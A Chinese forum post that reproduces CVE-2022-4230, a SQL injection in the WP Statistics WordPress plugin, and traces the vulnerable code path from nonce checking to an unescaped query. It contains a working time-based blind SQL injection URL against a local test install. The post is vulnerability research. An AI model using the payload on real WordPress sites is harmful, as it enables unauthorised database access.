WordPress CVE-2022-4230复现分析

打印 上一主题 下一主题

主题 840|帖子 840|积分 2520

媒介

开始CVE审计之旅
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户实行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它,其实就是没对admin进行鉴权,只对nonce进行了处理
环境搭建

WordPress v6.1        (官网下载)
wp-statistics-13.2.8    (github上找)
前置知识

wordpress是一个非常灵活方便的CMS系统,它拥有着非常灵活的API处理机制(REST API)WordPress REST API为应用程序提供了一个接口,通过发送和接收JSON(JavaScript Object Notation)对象形式的数据,与WordPress站点进行交互。它是WordPress块编辑器的基础,同样可以使主题,插件或自界说应用程序呈现新的,强大的界面,用于管理和发布网站内容。
Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,不过通过REST API来访问,每次都给发送一个_wpnonce来进行认证
攻击测试

先访问http://127.0.0.1/wp-admin/admin-ajax.php?action=rest-nonce,拿到我们的_wpnonce。
接着访问我们的插件的漏洞路径
http://127.0.0.1/wp-json/wp-statistics/v2/metabox?_wpnonce=ae42036543&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(if(1,SLEEP(2),0)))Mdgs)--+
这样就可以实现一个时间盲注
漏洞分析

打个断点进行调试分析,首先因为通过api来进行哀求会进行一个nonce认证,我们在认证处(rest-api.php)打个断点

这里担当我们的_wpnonce,调用了wp_verify_nonce方法,跟进这个方法
  1. function wp_verify_nonce( $nonce, $action = -1 ) {
  2.   $nonce = (string) $nonce;
  3.   $user  = wp_get_current_user();
  4.   $uid   = (int) $user->ID;
  5.   if ( ! $uid ) {
  6.     /**
  7.                          * Filters whether the user who generated the nonce is logged out.
  8.                          *
  9.                          * @since 3.5.0
  10.                          *
  11.                          * @param int        $uid    ID of the nonce-owning user.
  12.                          * @param string|int $action The nonce action, or -1 if none was provided.
  13.                          */
  14.     $uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
  15.   }
  16.   if ( empty( $nonce ) ) {
  17.     return false;
  18.   }
  19.   $token = wp_get_session_token();
  20.   $i     = wp_nonce_tick( $action );
  21.   // Nonce generated 0-12 hours ago.
  22.   $expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
  23.   if ( hash_equals( $expected, $nonce ) ) {
  24.     return 1;
  25.   }
  26.   // Nonce generated 12-24 hours ago.
  27.   $expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
  28.   if ( hash_equals( $expected, $nonce ) ) {
  29.     return 2;
  30.   }
  31.   /**
  32.                  * Fires when nonce verification fails.
  33.                  *
  34.                  * @since 4.4.0
  35.                  *
  36.                  * @param string     $nonce  The invalid nonce.
  37.                  * @param string|int $action The nonce action.
  38.                  * @param WP_User    $user   The current user object.
  39.                  * @param string     $token  The user's session token.
  40.                  */
  41.   do_action( 'wp_verify_nonce_failed', $nonce, $action, $user, $token );
  42.   // Invalid nonce.
  43.   return false;
  44. }
复制代码
这里面首先对用户身份进行一个认证,要是没登录的话就寄,然后对nonce进行一个对比,这里有两处对比,满足任意皆可,不过不是很明确为什么要分时间段认证,因为我们通过api接口拿到的nonce,肯定是能过认证的,返回之后,中间有些dispatch和callback调用之类的,我们就不看了,直接来到我们的插件处
  1. public function register_routes()
  2.   {
  3.     // Get Admin Meta Box
  4.     register_rest_route(self::$namespace, '/metabox', array(
  5.       array(
  6.         'methods'             => \WP_REST_Server::READABLE,
  7.         'callback'            => array($this, 'meta_box_callback'),
  8.         'args'                => array(
  9.           'name' => array(
  10.             'required' => true
  11.           )
  12.         ),
  13.         'permission_callback' => function (\WP_REST_Request $request) {
  14.           // Check User Auth
  15.           $user = wp_get_current_user();
  16.           if ($user->ID == 0) {
  17.             return false;
  18.           }
  19.           return current_user_can(Option::get('read_capability', 'manage_options'));
  20.         }
  21.       )
  22.     ));
  23.   }
复制代码
这里注册了一个路由,界说了一个permission_callback,我们跟进current_user_can,兜兜转转来到class-wp-reset-server.php

看这里的$handler['callback']其实就是之前界说的permission_callback

通过call_user_func调用这个callback,跟进

看这里request中需要有name参数,我们传的是name=words,这里就会调用Meta_Box中的words类,跟进
  1. class words
  2. {
  3.     public static function get($args = array())
  4.     {
  5.         // Prepare Response
  6.         try {
  7.             $response = SearchEngine::getLastSearchWord($args);
  8.         } catch (\Exception $e) {
  9.             $response = array();
  10.         }
  11.         // Check For No Data Meta Box
  12.         if (count(array_filter($response)) < 1) {
  13.             $response['no_data'] = 1;
  14.         }
  15.         // Response
  16.         return $response;
  17.     }
  18. }
复制代码
words类很简朴,我们跟进SearchEngine::getLastSearchWord

这里解析我们的GET参数,然后直接拼接到这个sql语句里了,没有做任何的处理也就导致了注入
  1. $wpdb->get_results("SELECT * FROM `" . DB::table('search') . "` INNER JOIN `" . DB::table('visitor') . "` on `" . DB::table('search') . "`.`visitor` = " . DB::table('visitor') . ".`ID` WHERE {$search_query} ORDER BY `" . DB::table('search') . "`.`ID` DESC " . ($args['limit'] != null ? " LIMIT " . $args['limit'] : " LIMIT 0, {$args['per_page']}"));
复制代码
注入点是这个$search_query,$args['search_engine']是由我们控制的,最终在where处实现注入


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

徐锦洪

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表